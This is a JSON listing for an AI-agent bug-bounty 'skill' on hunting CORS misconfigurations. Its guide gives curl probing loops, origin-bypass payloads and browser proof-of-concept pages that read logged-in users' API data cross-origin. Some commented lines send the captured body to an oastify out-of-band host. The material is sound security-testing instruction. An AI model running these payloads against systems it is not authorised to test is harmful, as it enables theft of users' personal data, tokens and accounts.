{"id":"hunt-cors","name":"hunt-cors","summary":"Hunt CORS Misconfiguration — 認証情報を用いたオリジンリフレクション、null-origin trust、サブドメイン正辞バイパス(アンカードット vs unescaped-dot vs プレフィックスのみ)、プリフライト(OPTIONS)ゲーティングバイパス、PostMessageオリジ…","body":"# HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration\n\n## What actually pays (and what does not)\n\nCORS pays High **only** when an attacker-controlled origin can perform a\n**credentialed** cross-origin read of sensitive authenticated data, and you\nhave a browser PoC proving the response body is readable from `evil.com`.\n\nTwo hard browser rules that kill most \"findings\" — check these FIRST:\n\n- **`Access-Control-Allow-Origin: *` CANNOT be combined with credentials.**\n  If the server returns `ACAO: *`, the browser refuses to send/expose the\n  response for a `credentials: include` request. A wildcard-only endpoint is\n  **not** credential-exploitable. It is only interesting if the data it serves\n  is sensitive *without* a session (rare) — usually this is Informational/Low.\n- **`Access-Control-Allow-Credentials: true` is meaningless on its own.** It\n  matters only if `ACAO` reflects/allows your specific attacker origin AND a\n  cross-origin credentialed `fetch` actually returns a readable body. ACAC on a\n  response that does not reflect your origin proves nothing.\n\nIf you cannot demonstrate a readable cross-origin authed body in a real\nbrowser, you do not have a High. Do not submit header-diffing alone.\n\n---\n\n## Crown Jewel Targets\n\n- **Reflect-any-origin + credentials** — server echoes the `Origin` header AND\n  sets `ACAC: true` → any site reads authed API responses. The classic High.\n- **Null-origin trust** — `ACAO: null` + `ACAC: true`. A `sandbox` iframe (or a\n  `data:`/redirect chain) emits `Origin: null`, so any page can read authed data.\n- **Subdomain-regex bypass** — trusted-origin regex with a parsing flaw. The\n  correct payload depends on *which* flaw (see Phase 3 — this is where most\n  skills get it wrong).\n- **Subdomain takeover → trusted origin** — a dangling subdomain that the CORS\n  policy trusts; take it over, host the PoC there (see hunt-subdomain).\n- **postMessage missing/loose origin check** — handler that processes\n  `event.data` without strictly validating `event.origin`.\n\n---\n\n## Attack Surface Signals\n\n```\nAny endpoint returning an Access-Control-Allow-Origin header\nAPI endpoints:   /api/*, /v1/*, /graphql\nProfile/account: /api/me, /api/profile, /api/user, /api/session\nSecrets/tokens:  /api/tokens, /api/keys, /api/csrf, /api/account/settings\nFinancial:       /api/balance, /api/transactions\nAdmin/internal:  /api/admin/*, /api/internal/*\n```\n\nPrioritize endpoints that (a) require a session cookie and (b) return PII,\ntokens, CSRF tokens, or other secrets in the body.\n\n---\n\n## Step-by-Step Hunting Methodology\n\n### Phase 1 — Discover CORS endpoints\n```bash\n# Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET,\n# and -I sends HEAD which may be handled differently.\nwhile read url; do\n  result=$(curl -s -D - -o /dev/null \"$url\" \\\n    -H \"Origin: https://evil.com\" \\\n    -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\")\n  [ -n \"$result\" ] && echo \"=== $url ===\" && echo \"$result\"\ndone < recon/$TARGET/api-endpoints.txt\n\n# httpx bulk check\ncat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \\\n  httpx -H \"Origin: https://evil.com\" -match-string \"access-control-allow-origin\"\n```\n\n### Phase 2 — Reflect-any-origin + null origin\n```bash\n# Does the server reflect an arbitrary Origin back?\ncurl -s -D - -o /dev/null https://$TARGET/api/me \\\n  -H \"Origin: https://evil.com\" \\\n  -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\"\n\n# Vulnerable (the High case):\n#   Access-Control-Allow-Origin: https://evil.com   <- reflects attacker origin\n#   Access-Control-Allow-Credentials: true          <- + credentials => readable\n#\n# NOT exploitable for credentialed theft:\n#   Access-Control-Allow-Origin: *                   <- browser blocks creds read\n#   (no ACAC, or ACAC absent)                        <- not credentialed\n\n# Null-origin trust\ncurl -s -D - -o /dev/null https://$TARGET/api/me \\\n  -H \"Origin: null\" \\\n  -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\"\n# Looking for:  Access-Control-Allow-Origin: null  +  ACAC: true\n```\n\n### Phase 3 — Subdomain / trusted-origin regex bypass\nThe right payload depends on **which** regex flaw the server has. Identify the\nclass first, then send the matching payload. Getting this wrong wastes the test\nand produces false negatives.\n\n| Server regex (intended: trust `*.target.com`) | Flaw | Bypass origin that matches | Why |\n|---|---|---|---|\n| `^https?://.*\\.target\\.com$` | **None** — escaped dot + end-anchor. Correct. | (no simple bypass) | `evil.target.com` is in-scope by design; `x.target.com.evil.com` ENDS in `.evil.com`, fails `$`. Move on or look for subdomain-takeover. |\n| `^https?://.*target\\.com$` | **Missing dot separator** (no `\\.` before `target`) | `https://eviltarget.com` | `.*target\\.com$` matches `eviltarget.com` — attacker registers `eviltarget.com`. |\n| `^https?://.*\\.target\\.com` | **Missing end-anchor `$`** | `https://x.target.com.evil.com` | regex matches a prefix; `.target.com` appears, then `.evil.com` is ignored (no `$`). |\n| `^https?://target\\.com` | **Prefix-only, no `$`** | `https://target.com.evil.com` | matches the `target.com` prefix; the rest is unconstrained. |\n| `^https?://.*\\.target\\.com$` but dot in regex is **unescaped** (`.*.target.com$`) | **Unescaped dot** = \"any char\" | `https://xtargetXcom...` style, or `https://evilZtargetZcom` where `Z` is any single char | `.` matches any character, widening the match. |\n| Any of the above | **Special chars browsers send in Origin** | `https://target.com%60.evil.com`, `https://target.com\\x60evil.com` | some parsers treat backtick/underscore as letters; Safari/older browsers may emit unusual origins. Confirm the browser actually sends it. |\n\n```bash\n# Send each class-specific payload and watch what the server reflects.\nfor ORIGIN in \\\n  \"https://evil.target.com\" \\\n  \"https://eviltarget.com\" \\\n  \"https://x.target.com.evil.com\" \\\n  \"https://target.com.evil.com\" \\\n  \"https://target.com%60.evil.com\" \\\n  \"http://target.com\"; do\n  RESULT=$(curl -s -D - -o /dev/null \"https://$TARGET/api/me\" \\\n    -H \"Origin: $ORIGIN\" \\\n    -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\")\n  echo \"[$ORIGIN] -> ${RESULT:-no CORS}\"\ndone\n```\nA bypass is real only if the server reflects **your registerable origin** into\n`ACAO` with `ACAC: true`. `evil.target.com` reflecting back is NOT a bug unless\nyou can actually control a `*.target.com` host (then see Phase 6 / hunt-subdomain).\n\n### Phase 4 — Pre-flight (OPTIONS) gating bypass\nNon-simple requests (custom headers, `PUT`/`DELETE`/`PATCH`, non-simple\n`Content-Type`) trigger a CORS **pre-flight** `OPTIONS`. The browser only sends\nthe real request if the pre-flight response authorizes the method/header. Two\nthings to test:\n\n1. **Does the pre-flight authorize arbitrary methods/headers for your origin?**\n   If `Access-Control-Allow-Methods` / `Access-Control-Allow-Headers` reflect\n   whatever you ask for, a malicious origin can drive state-changing requests\n   (chain to CSRF-style writes that JSON/SameSite would otherwise block).\n\n```bash\ncurl -s -D - -o /dev/null -X OPTIONS \"https://$TARGET/api/account/email\" \\\n  -H \"Origin: https://evil.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: x-custom-auth, content-type\" \\\n  | grep -i \"access-control\"\n# Vulnerable: ACAO reflects evil.com + ACAC:true +\n#   Access-Control-Allow-Methods: PUT  +  Access-Control-Allow-Headers: x-custom-auth\n# => attacker origin can issue authed PUT/DELETE with custom headers.\n```\n\n2. **Is the pre-flight even enforced server-side?** Some servers reflect the\n   origin on `OPTIONS` but the actual GET/POST also reflects — the read path is\n   the bug; the pre-flight just confirms write-path reach. Test the GET/POST\n   directly too — never assume the pre-flight result equals the real-request\n   result. Confirm in a browser, because curl ignores CORS entirely.\n\n### Phase 5 — Browser PoCs (the only thing that proves impact)\ncurl does NOT enforce CORS — it will happily show you a reflected header even\nwhen a browser would block the read. **Every CORS High needs a browser PoC.**\n\n**5a. Reflect-any-origin read** (host on evil.com, open while logged into target):\n```html\n<!doctype html><body><pre id=\"out\"></pre>\n<script>\nfetch(\"https://TARGET/api/me\", {credentials: \"include\"})\n  .then(r => r.text())\n  .then(d => {\n    document.getElementById(\"out\").innerText = d;        // prove readable body\n    // OOB proof: fetch(\"https://OOB-ID.oastify.com/?d=\"+encodeURIComponent(d));\n  })\n  .catch(e => document.getElementById(\"out\").innerText = \"BLOCKED: \" + e);\n</script></body>\n```\nIf you see `BLOCKED` / a TypeError, the browser refused the read — it is NOT a\nvalid finding regardless of what curl showed (this is the `ACAO: *` + creds case).\n\n**5b. Null-origin read** — a `sandbox` iframe sends `Origin: null`. The inner\ndocument must lack `allow-same-origin` so its origin is opaque (`null`):\n```html\n<!doctype html><body>\n<!-- Outer page hosted anywhere -->\n<iframe sandbox=\"allow-scripts\" srcdoc='\n  <script>\n    fetch(\"https://TARGET/api/me\", {credentials: \"include\"})\n      .then(r => r.text())\n      .then(d => parent.postMessage(d, \"*\"));\n  &lt;/script&gt;'></iframe>\n<script>\nwindow.addEventListener(\"message\", e => {\n  // d is the authed body, read cross-origin via a null Origin\n  // fetch(\"https://OOB-ID.oastify.com/?d=\"+encodeURIComponent(e.data));\n  console.log(\"NULL-ORIGIN READ:\", e.data);\n});\n</script></body>\n```\n(Alternative null-origin emitters: a `data:` / `blob:` document, or bouncing the\nrequest through a 302 redirect chain whose final hop is cross-scheme.)\n\n**5c. Trusted-subdomain read** — once you control a host that the regex trusts\n(real subdomain via takeover, or a registerable origin that matches a buggy\nregex from Phase 3), host **5a** there. The reflected origin is now an origin\nyou legitimately serve, so the browser allows the read.\n\n### Phase 6 — postMessage origin check\n```bash\n# Find message handlers that don't strictly validate event.origin.\ngrep -rEn \"addEventListener\\(['\\\"]message\" recon/$TARGET/ --include=\"*.js\" \\\n  | grep -v \"\\.origin\"\n# Then audit each hit: does it check event.origin against an allowlist\n# BEFORE using event.data? Weak checks to flag:\n#   .indexOf(\"target.com\") > -1      <- \"target.com.evil.com\" passes\n#   .endsWith(\"target.com\")          <- \"eviltarget.com\" passes\n#   startsWith(\"https://target\")     <- \"https://target.evil.com\" passes\n#   no check at all\n```\npostMessage is a separate class from HTTP CORS — impact is DOM-side (XSS,\nclient-side auth bypass). See hunt-dom for exploitation depth.\n\n---\n\n## Automation (triage only — never the proof)\n```bash\n# corsy — fast reflection/null/pre-domain checks\npip3 install corsy\ncorsy -u https://$TARGET -t 10 --headers \"Cookie: $SESSION_COOKIE\"\n\n# nuclei CORS templates\nnuclei -u https://$TARGET -t http/misconfiguration/cors/\n\n# Burp: passively flags origin reflection; always re-confirm in a real browser.\n```\nEvery automated hit is a lead, not a finding. Reproduce 5a/5b in a browser.\n\n---\n\n## Chain Table\n\n| CORS finding | Chain to | Impact |\n|---|---|---|\n| Reflects attacker origin + creds | Browser-read `/api/me`, `/api/tokens`, `/api/csrf` | PII + token + CSRF-token theft → often ATO |\n| Reflects origin + reads CSRF token | hunt-csrf: steal token → forge state change | CSRF on CSRF-protected forms |\n| Pre-flight allows arbitrary method/header | Drive authed `PUT`/`DELETE` from evil origin | Cross-origin state change |\n| Trusted subdomain has XSS | hunt-xss → run 5a from trusted origin | Reliable credentialed read |\n| Dangling trusted subdomain | hunt-subdomain takeover → host 5c there | Full credentialed read |\n| postMessage no/loose origin check | hunt-dom: inject iframe, send crafted message | DOM XSS / client auth bypass |\n\n---\n\n## Validation discipline (read before submitting)\n\n- **Browser proof mandatory.** curl reflecting a header is NOT exploitation.\n  Show a screenshot/console log of the authed body read from `evil.com`. If the\n  fetch throws / logs `BLOCKED`, you have nothing.\n- **`ACAO: *` + credentials = not a finding.** Browsers block it. Only pursue\n  wildcard if the data is sensitive unauthenticated (then it is usually Low).\n- **`ACAC: true` alone proves nothing** — it must pair with your reflected\n  origin AND a successful readable cross-origin body.\n- **Match the regex class to the payload (Phase 3).** Do not submit\n  `target.com.evil.com` against an end-anchored escaped-dot regex — it does not\n  match and is not a bug.\n- **`evil.target.com` reflecting is not automatically a bug** — it is an\n  in-scope subdomain by design unless you can actually control it.\n- **OOB confirmation** for blind/headless contexts: exfil the read body to a\n  Burp Collaborator / oastify host and show the interaction. Use a unique\n  per-test marker so the hit is unambiguously yours.\n- **Sensitive data requirement.** A readable `/api/health` is not High. Tie the\n  read to PII, tokens, secrets, or financial data to justify severity.\n\n**Severity:**\n- Reflects attacker origin + creds + sensitive body, browser-proven: High\n- Pre-flight authorizes attacker-origin state change on sensitive action: High\n- Null-origin + sensitive authed body, browser-proven: Medium–High\n- Subdomain-takeover/XSS-assisted credentialed read: High/Critical\n- Reflects origin, no credentials / non-sensitive: Low–Informational\n- `ACAO: *` only (no creds possible): Informational unless data is secret","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors","license":"MIT","category":null,"lang":"en","tokens":3535,"stars":0,"calls30d":2,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["evil.com","evil.target.com","eviltarget.com","oob-id.oastify.com","target.com","target.com.evil.com","target.evil.com","x.target.com.evil.com"]}}